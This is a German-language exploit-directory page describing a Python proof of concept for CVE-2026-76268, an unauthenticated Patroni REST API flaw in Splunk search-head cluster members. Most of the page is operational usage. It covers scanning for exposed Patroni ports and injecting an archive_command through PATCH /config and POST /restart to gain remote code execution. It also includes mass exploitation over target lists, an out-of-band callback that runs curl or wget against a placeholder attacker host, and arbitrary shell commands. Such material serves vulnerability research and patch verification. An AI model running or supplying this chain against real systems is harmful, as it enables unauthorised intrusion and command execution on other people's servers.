Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-76268 — Python-PoC für CVE-2026-76268: erkennt unauthentifizierte Patroni-REST-API auf Splunk-SHC-Mitgliedern und nutzt sie über archive_command-Injection aus, um RCE zu erreichen. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-76268
AufklärungSchwachstellenscannerNetzwerkkartierungExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsRemote-Access-Tool
GitHubmurrez/cve-2026-76268

CVE-2026-76268

Python-PoC für CVE-2026-76268: erkennt unauthentifizierte Patroni-REST-API auf Splunk-SHC-Mitgliedern und nutzt sie über archive_command-Injection aus, um RCE zu erreichen.

831vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2026-76268 — Splunk Enterprise Patroni REST API unauthentifizierte RCE

Python-3-PoC für CVE-2026-76268 — Splunk Enterprise auf Search-Head-Cluster-(SHC-)Membern. Advisory SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Advisoryhttps://advisory.splunk.com/advisories/SVD-2026-1001
KomponentePostgreSQL-Sidecar (Storage) → Patroni REST API
Betroffen10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Fix10.2.7, 10.4.3 (und später)
Nicht betroffen (diese CVE)10.0.x, 9.4.x
CWECWE-306 — fehlende Authentifizierung für kritische Funktion
CVSS 3.19.8 Critical
VerifikationsmarkerPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Beschreibung

Auf verwundbaren Splunk-Enterprise-SHC-Membern akzeptiert die Patroni REST API (Teil des mit Splunk 10.x eingeführten PostgreSQL-Sidecars) zustandsändernde Anfragen ohne Authentifizierung. Ein Angreifer mit Netzwerkzugriff auf den Patroni-Listener kann die dynamische Cluster-Konfiguration ändern und über PostgreSQL-Parameter wie archive_command eine Betriebssystem-Befehlsausführung auslösen (Patroni-PATCH /config- + POST /restart-Kette).

Dieses PoC kommuniziert direkt mit Patroni (typischerweise TCP 8008 oder ein von Splunks IPC Broker zugewiesener Port). Es verwendet weder Splunk Web (8000) noch den Splunk-Management-Port (8089). Das ist eine andere Angriffsfläche (z. B. historische Sidecar-Probleme über den splunkd-Proxy).

Voraussetzungen für reale Auswirkungen:

  • Der Host ist ein SHC-Member (kein eigenständiger reiner Indexer-Knoten ohne den Sidecar-Stack).
  • Das [postgres]-Sidecar ist aktiviert (disabled = true entfernt Patroni).
  • Der Patroni-Port ist vom Angreifer aus erreichbar (oft eine fehlerhaft konfigurierte Firewall, die cluster-interne Ports freigibt).

Anforderungen

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Abhängigkeiten: requests, urllib3

Verwendungsübersicht

ModusZweck
check (Standard)Patroni auf gängigen Ports finden; unauthentifiziertes PATCH /config testen
exploitPatroni-RCE-Kette ausführen (archive_command + Neustart)
Mass--list FILE mit -j Threads; schreibt JSONL + optionale Hit-/Exploit-Listen

Sie müssen entweder -t TARGET oder --list FILE angeben.

Zielformate (-t / Zeilen in --list)

FormatBeispiel
Nur Host (Standard-Portscan)192.168.1.50
Host + Port192.168.1.50:8008
Vollständige URLhttp://10.0.0.5:8008

Kommentare in Listendateien: Zeilen, die mit # beginnen, werden ignoriert.


Check-Modus

Patroni entdecken und bewerten, ob unauthentifizierte Konfigurationsänderungen erlaubt zu sein scheinen.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

Was das PoC macht:

  1. Versucht GET /patroni (oder /) auf jedem Port in --ports (Standard 8008,8009,8010,18008).
  2. Sendet PATCH /config mit einem leeren JSON-Body und ohne Anmeldedaten.
  3. Markiert exploitable_candidate: true, wenn Patroni antwortet und PATCH nicht mit 401/403 abgelehnt wird.

Nützliche Flags:

FlagBedeutung
--portsKommagetrennte Patroni-Ports zum Scannen
--portScan überspringen; nur einen Port verwenden
--timeoutHTTP-Timeout (Sekunden, Standard 20)
--proxyHTTP(S)-Proxy für Anfragen
--outputJSONL-Log (Standard cve_2026_76268_results.jsonl)
--vuln-listTab-getrennte Kandidaten (Standard hits.txt)
--quietWeniger Konsolenausgabe
--no-colorEinfaches Terminal

Exit-Code: 0, wenn exploitable_candidate true ist; andernfalls 1.

Empfohlener Workflow: Massen-Check → hits.txt prüfen → Massen-Exploit nur auf autorisierten Hosts.


Exploit-Modus (--mode exploit)

Führt die Patroni-Konfigurationsinjektionskette aus. Dies ändert die Live-Sidecar-/PostgreSQL-Dynamikkonfiguration auf dem Ziel.

Kette

  1. Discovery — wie beim Check (sofern --port nicht gesetzt ist).
  2. Auth-Gate — Abbruch, wenn PATCH /config 401/403 zurückgibt.
  3. PATCH /config — setzt wal_level=replica, archive_mode=always, archive_timeout=1 und Ihr archive_command.
  4. POST /restart — wendet die ausstehende PostgreSQL-Konfiguration an.
  5. Warten — --wait-archive Sekunden (Standard 3); archive_command läuft im WAL-Archivzyklus (nicht sofort).

Beispiele für einzelne Ziele

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Massen-Exploit

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Ausgaben:

  • --output — vollständiges JSONL (Massen-Exploit verwendet standardmäßig cve_2026_76268_exploit.jsonl, wenn der Standardname beibehalten wurde).
  • --exploited-list — Zeilen mit exploited: true (Standard exploited.txt).

Exploit-Flags

FlagBedeutung
--oob URLBasis-URL; der Befehl führt curl/wget zu URL/POCBIT-76268-OK aus
--commandVollständiger PostgreSQL-archive_command-String (überschreibt den OOB-Standard)
--wait-archiveSekunden zum Warten nach dem Neustart, bevor der PoC beendet wird
--ports / --portPort-Erkennung oder fester Patroni-Port
--tlsVerwendet https:// für Patroni (unüblich in den Standard-Splunk-Sidecar-Dokumentationen)

Standardbefehl, wenn weder --oob noch --command gesetzt ist:
touch /tmp/POCBIT-76268-OK

Exit-Code: 0, wenn PATCH und Neustart akzeptiert werden (exploited: true). Das bedeutet, dass die Kette übermittelt wurde, nicht dass der Callback oder der Dateinachweis bereits ausgelöst wurde. Bestätigen Sie dies mit OOB- oder Dateisystemprüfungen auf dem Host.

Wichtig: Patroni ignoriert möglicherweise dynamische Änderungen, wenn dieselben Parameter in der lokalen Konfiguration gesperrt sind (Hersteller-Härtung). In diesem Fall kann der Exploit selbst bei alten Splunk-Builds fehlschlagen.


JSON-Ausgabe (einzelner -t-Lauf)

Wird nach stdout ausgegeben (formatiertes JSON). Der Massenmodus schreibt ein JSON-Objekt pro Zeile.

FeldBedeutung
modecheck oder exploit
host / targetNormalisierte Eingabe
patroni_basez. B. http://192.168.1.50:8008
patroni_portPort, auf dem Patroni geantwortet hat
patroni_roleAus GET /patroni (z. B. primary)
unauth_patchCheck: PATCH ohne Authentifizierung erlaubt
exploitable_candidateCheck: wahrscheinlich verwundbare Angriffsfläche
exploitedExploit: PATCH + Neustart erfolgreich
patch / restartHTTP-Status und Body-Vorschau
verifyHinweis: OOB-Pfad oder /tmp/POCBIT-76268-OK
errorFehlerursache (auth_required_patched_or_hardened, no_patroni_on_ports, …)
pocbit, pocbit_page, verify_markerPoCbit-Metadaten

Tool herunterladen